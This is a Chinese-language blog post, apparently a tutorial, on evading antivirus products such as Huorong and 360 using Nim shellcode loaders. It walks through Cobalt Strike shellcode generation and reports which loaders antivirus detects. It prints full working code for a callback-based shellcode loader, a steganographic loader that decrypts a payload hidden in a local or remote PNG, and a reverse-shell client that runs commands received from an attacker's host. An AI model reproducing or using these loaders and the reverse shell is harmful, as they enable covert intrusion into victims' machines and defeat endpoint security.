免杀对抗-Nim语言免杀-加载工具+加载方式

Nim语言-加载工具-NimShellCodeLoader项目

配置环境:

1.下载Nim语言&配置bin目录环境变量

链接:https://nim-lang.org/install_windows.html

配置环境变量

 

2.下载mingw

链接:https://nim-lang.org/download/mingw64.7z

配置bin目录环境变量

3.下载git,配置bin目录环境变量

链接:https://git-scm.com/download/win

 

4.下载winim,在有winim.nimble文件的文件夹(一般在根目录)启动命令行,执行:nimble install

链接:https://github.com/khchen/winim

 

5.下载nimcrypto,在有nimcrypto.nimble文件的文件夹(一般在根目录)启动命令行,执行:nimble install

链接:https://github.com/cheatfate/nimcrypto

6.下载NimShellCodeLoader

链接:https://github.com/aeverj/NimShellCodeLoader

 

免杀测试开始

1.使用cs生成shellcode

2.NimShellCodeLoader根目录中启动codeLoader.exe程序,将生成的shellcode文件拖入程序中。

点击Generate,成功在bin目录生成exe程序

3.执行exe程序,cs成功上线

4.将exe程序上传到目标目录中,直接被火绒逮住了。

火贼:泥直…………………接给涡坐下!!!

又尝试了NimShellCodeLoader项目的其他免杀方法,全部被杀,说明该项目以被杀软记录特征了。

 

 

Nim-加载方式-OffensiveNi项目

介绍:项目包含各种执行shellcode的方法

链接:https://github.com/byt3bl33d3r/OffensiveNim

通过fibre执行shellcode

1.根据项目帮助文档确定自己要使用的加载方式,在项目中找到对应的文件

2.启动visual studio code工具,安装nim插件。

新建一个fiber.nim文件,将免杀项目中的加载代码复制进来

3.根据加载器中shellcode的类型,使用cs生成对应语言的shellcode。

或者使用加载器中注释的msf生成命令来生成shellcode

4.将生成的shellcode放到加载器中,注意:必须将shellcode中的byte数字填写正确。

5.右键选择运行加载器,cs成功上线。

(踩坑:.nim文件不能命名为数字和不能有"-",不然报错无法执行。不要取花里胡哨的名字就行)

6.我使用的是64位nim,所以也要使用64位shellcode。实战上传到目标的代码越少越好,因此删除32位的shellcode相关代码。再次执行生成exe文件。

7.上传目标系统,火绒:泥直…………………….接给我坐下!!!

 

内联汇编的方式执行shellcode

1.使用项目中内联汇编的方式执行shellcode,cs成功上线

2.将exe程序上传目标系统,火绒:泥直…………………….接给我坐下!!!

虽然对火绒没用,但是对360是有用的。而且这只是其中两种方法,项目还有将近50种方法。

 

 

通过分离方式执行shellcode

1.使用nim语言写一个分离无文件的shellcode加载器

代码:argv.nim

   

import winim/lean
import osproc
import stew/byteutils
import os
import strutils

proc shellcodeCallback(shellcode: openarray[byte]): void =
    let tProcess = GetCurrentProcessId()
    echo "Powered by StudyCat"
    echo "[*] Target Process: ", tProcess
    echo "    \\-- bytes written: ", shellcode.len
    echo "[+] Injected"
    
    # Allocate memory
    let rPtr = VirtualAlloc(
        nil,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )    
    
    # Copy Shellcode to the allocated memory section
    copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))    
    
    # Callback execution
    EnumSystemGeoID(
        16,
        0,
        cast[GEO_ENUMPROC](rPtr)
    ) 


proc main() =    
    if fileExists(paramStr(1)):
        var 
            filename = paramStr(1)
            file: File
            
        file = open(filename, fmRead)
        var fileSize = file.getFileSize() 
        var shellcode = newSeq[byte](fileSize)
        discard file.readBytes(shellcode, 0, fileSize)
        shellcodeCallback(shellcode)
        file.close()
    else:
        var hexstr: string = paramStr(1)
        var shellcode = newSeq[byte](len(hexstr) div 2)
        hexToByteArray(hexstr, shellcode)
        shellcodeCallback(shellcode)    
    
when defined(windows):
    if 2 > 1:
        if paramCount() > 0 :           
            main()
        else:
            let pathSplit = splitPath(paramStr(0))
            echo "Usage: ", pathSplit.tail, " fce88900000...648b52308b"
            echo "Usage: ", pathSplit.tail, " beacon.bin"    
    

2.使用cs生成一个raw格式的shellcode

3.下载nim-stew,解压后复制stew目录到当前运行目录下即可(因为使用nimble install无法安装成功)

链接:https://github.com/status-im/nim-stew

4.执行代码,生成exe程序。

执行命令:./argv.exe 拖入生成的raw格式的shellcode文件

cs成功上线

5.将shellcode文件和exe加载器上传到目标系统,成功绕过火绒检测。

 

 

通过图片隐写的方式执行shellcode

1.下载nimPNG,在有nimPNG.nimble文件的文件夹(一般在根目录)启动命令行,执行:nimble install

链接:https://github.com/jangko/nimPNG

2.使用如下图片隐写代码执行生成exe程序

代码:lsp.nim

import nimPNG
import nimcrypto
import nimcrypto/sysrand
import strutils
import stew/byteutils except toHex
import os

type
  Image* = ref object
    ## Main image object that holds the bitmap data.
    filePath*: string
    width*, height*: int
    data*: seq[uint8]

proc loadImageB*(imgFile: string): Image =
    var mypng = Image()
    let png = loadPNG32(imgFile)
    mypng.width = png.width
    mypng.height = png.height
    mypng.data = cast[seq[uint8]](png.data)  
    return mypng
    
proc loadImage*(rawData: string): Image =
    var mypng = Image()
    #let png = loadPNG32(imgFile)
    let png = decodePNG32(rawData)
    mypng.width = png.width
    mypng.height = png.height
    mypng.data = cast[seq[uint8]](png.data)  
    return mypng    
    
proc saveFile*(image: Image, fileName: string) =
    discard savePNG32(fileName, image.data, image.width, image.height)

proc encodeMessage*(image: Image, rawdata: string) =
  let filesize = cast[uint64](len(rawdata))
  let header = filesize.toHex(8)
  var data = header & rawdata 
  
  ## Hide data inside an image
  echo "[*] Input image size: ", image.width, "x", image.height, " pixels."
  echo "[*] Usable payload size: ", image.width * image.height, "B."
  echo "[+] Encrypted payload size: ", len(data), "B."
  
  if len(data) > image.width * image.height :
    echo "[-] Cannot embed. File too large"
    quit(-1)
    
  for i in 0..data.len:
    var dataByte: uint8
    if i < data.len:
      dataByte = uint8(data[i])
    image.data[i*4+0] = (image.data[i*4+0] and 0b11111100) + (dataByte and 0b00000011) shr 0
    image.data[i*4+1] = (image.data[i*4+1] and 0b11111100) + (dataByte and 0b00001100) shr 2
    image.data[i*4+2] = (image.data[i*4+2] and 0b11111100) + (dataByte and 0b00110000) shr 4
    image.data[i*4+3] = (image.data[i*4+3] and 0b11111100) + (dataByte and 0b11000000) shr 6
  echo "[+] Embedded successfully!"
  
proc decodeMessage*(image: Image): string =
  ## Extract hidden data in the image
  echo "[*] Input image size: ", image.width, "x", image.height, " pixels."
  
  result = ""
  
  for i in 0..<(image.data.len div 4):
    var dataByte: uint8
    dataByte += (image.data[i*4+0] and 0b11) shl 0
    dataByte += (image.data[i*4+1] and 0b11) shl 2
    dataByte += (image.data[i*4+2] and 0b11) shl 4
    dataByte += (image.data[i*4+3] and 0b11) shl 6
    result.add char(dataByte)

  var header = result[0..7]
  var filesize = fromHex[uint64](header) + 7
  return result[8..filesize]



func toByteSeq*(str: string): seq[byte] {.inline.} =
  ## Converts a string to the corresponding byte sequence.
  @(str.toOpenArrayByte(0, str.high))

proc encryptFile*(fileName: string, envkey: string): string =
    var
        data: seq[byte] = toByteSeq(readFile(fileName))
        ectx: CTR[aes256]
        key: array[aes256.sizeKey, byte]
        iv: array[aes256.sizeBlock, byte]
        plaintext = newSeq[byte](len(data))
        enctext = newSeq[byte](len(data))
       
    #discard randomBytes(addr iv[0], 16)
    iv = [byte 39, 215, 183, 62, 212, 75, 101, 46, 85, 66, 92, 49, 164, 183, 14, 146]
    copyMem(addr plaintext[0], addr data[0], len(data))
    var expandedkey = sha256.digest(envkey)
    copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data))

    ectx.init(key, iv)
    ectx.encrypt(plaintext, enctext)
    ectx.clear()    
        
    var res = newString(len(enctext))
    copyMem(addr res[0], addr enctext[0], len(enctext))
    result = res

proc decrypt*(data: string, envkey: string): seq[byte] =
    var 
        dctx: CTR[aes256]
        key: array[aes256.sizeKey, byte]
        iv: array[aes256.sizeBlock, byte]
        enctext = newSeq[byte](len(data))
        dectext = newSeq[byte](len(data))
        
    iv = [byte 39, 215, 183, 62, 212, 75, 101, 46, 85, 66, 92, 49, 164, 183, 14, 146]
    enctext = toByteSeq(data)
    
    var expandedkey = sha256.digest(envkey)
    copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data))
    
    dctx.init(key, iv)
    dctx.decrypt(enctext, dectext)
    dctx.clear()
    #writeFile(fileName, dectext)
    return dectext

proc help() =
    let pathSplit = splitPath(paramStr(0))
    echo "Usage:"
    echo "  ", pathSplit.tail, " en pngFile embedFile password"
    echo "  ", pathSplit.tail, "de pngFile outFile password"
    echo ""
    echo "Example:"
    echo "  Embed a file into an image."
    echo "  ", pathSplit.tail, " en logo.png beacon.bin 12345678"
    echo "  Extract hidden data in the image."
    echo "  ", pathSplit.tail, " de logo_out.png beacon.bin 12345678"
    
proc main() =
    if paramCount() > 0:
        var p1 = paramStr(1)
        if paramCount() < 2 or p1 in ["/?","-h","--help"]:
            help()
        else:
            var 
                mode = paramStr(1)
                imgFile = paramStr(2)
                userFile = paramStr(3)
                password = paramStr(4)
            if mode == "en":
                var enctext = encryptFile(userFile, password)
                var mypng = loadImage(readFile(imgFile))
                var fileName = ""
                
                let fileSplit = splitFile(imgFile)
                fileName = joinPath(fileSplit.dir, fileSplit.name & "_out" & fileSplit.ext)
                encodeMessage(mypng, enctext)
                mypng.saveFile(fileName)
                echo "[+] fileName: ", fileName
            if mode == "de":
                var mypng = loadImage(readFile(imgFile))
                var enctext = decodeMessage(mypng)
                var dectext = decrypt(enctext, password)
                writeFile(userFile, dectext)
                echo "[+] Written extracted data to ", userFile
    else:
        help()
when isMainModule:
    main()

3.运行生成的exe程序,将shellcode写入图片中

执行:./lsp.exe en 图片.png shellcode文件 密码

成功生成带有shellcode的图片

4.再次执行:./lsp.exe de 生成的图片.png shellcode文件 密码

看看能否还原:能还原说明生成的图片没问题

5.重新将shellcode写入图片,执行加载器代码,生成exe执行程序

执行前提:将shellcodeCallback.nim文件和letsgo.nim放到同一目录

shellcodeCallback.nim下载:https://github.com/5598ca98-f0c8-4594-befe-330b23c2b7c4

加载器代码:letsgo.nim

import shellcodeCallback
import lsb
import random
import os
import httpclient
import strutils

proc help() =
    let pathSplit = splitPath(paramStr(0))
    echo "Usage:"
    echo pathSplit.tail, " filename/url password"
    echo pathSplit.tail, " https://www.test.com/logo.png 12345678"
    echo pathSplit.tail, " logo.png 12345678"    

proc main(imgFile,password: string) =
    randomize()
    var 
        shellcode: seq[byte]
        mypng: Image
        enctext: string
        content: string

    try:        
        if fileExists(imgFile):
            mypng = loadImage(readFile(imgFile))
            enctext = decodeMessage(mypng)
            shellcode = decrypt(enctext, password)
        else:
            var client = newHttpClient()
            content = getContent(client, imgFile)
            mypng = loadImage(content)
            enctext = decodeMessage(mypng)
            shellcode = decrypt(enctext, password)    
    except:
        echo getCurrentException().msg
        quit()
            

    case rand(1..17)
    of 1:
        doEnumSystemGeoID(shellcode)
    of 2:
        doCertEnumSystemStore(shellcode)
    of 3:
        doCertEnumSystemStoreLocation(shellcode)
    of 4:
        doCopy2(shellcode)
    of 5:
        doCopyFileExW(shellcode)
    of 6:
        doEnumChildWindows(shellcode)
    of 7:
        doEnumDesktopWindows(shellcode)
    of 8:
        doEnumPageFilesW(shellcode)
    of 9:
        doImageGetDigestStream(shellcode)
    of 10:
        doEnumDateFormatsA(shellcode)
    of 11:
        doEnumSystemCodePagesA(shellcode)
    of 12:
        doEnumSystemLanguageGroupsA(shellcode)
    of 13:
        doEnumSystemLocalesA(shellcode)
    of 14:
        doEnumThreadWindows(shellcode)
    of 15:
        doEnumWindows(shellcode)
    of 16:
        doEnumUILanguagesA(shellcode)
    of 17:
        doSymEnumProcesses(shellcode)
    else:
        echo "unknown command"
    
when isMainModule:
    when defined(windows):
        if paramCount() > 0:
            var p1 = paramStr(1)
            if paramCount() < 2 or p1 in ["/?","-h","--help"]:
                help()
            else:
                if fileExists(p1.toLowerAscii()) or p1.toLowerAscii().startsWith("http://") or p1.toLowerAscii().startsWith("https://"):
                    main(paramStr(1), paramStr(2))
                else:
                    help()
        else:
            help()

6.运行exe程序,尝试cs上线

执行:./letsgo.exe 生成的图片.png 密码

成功上线

7.还可以远程加载图片。将生成的图片放到服务器。

执行:./letsgo.exe 图片url 密码

成功上线

 

 

通过Socket的方式执行shellcode

1.在自己服务器开启监听

命令:nc -lvp 55

2.执行如下代码生成和运行exe程序

代码:socket.nim

import net  
import osproc
import os 
 
 
var ip = "192.168.206.129"
var port = 55
 
var socket = newSocket()
var fcmd : string
 
while true:
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send("<helloshell>")
                var c = socket.recvLine()
                if system.hostOS == "windows":
                    fcmd = "cmd /C" & c
                else:
                    fcmd = "/bin/sh -c" & c
                
                var (cr, _) = execCmdEx(fcmd)
                socket.send(cr)
            except:
                socket.close()
                system.quit()
    except:
        echo ""
        sleep(5000)
        continue

执行成功,成功获取shell

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值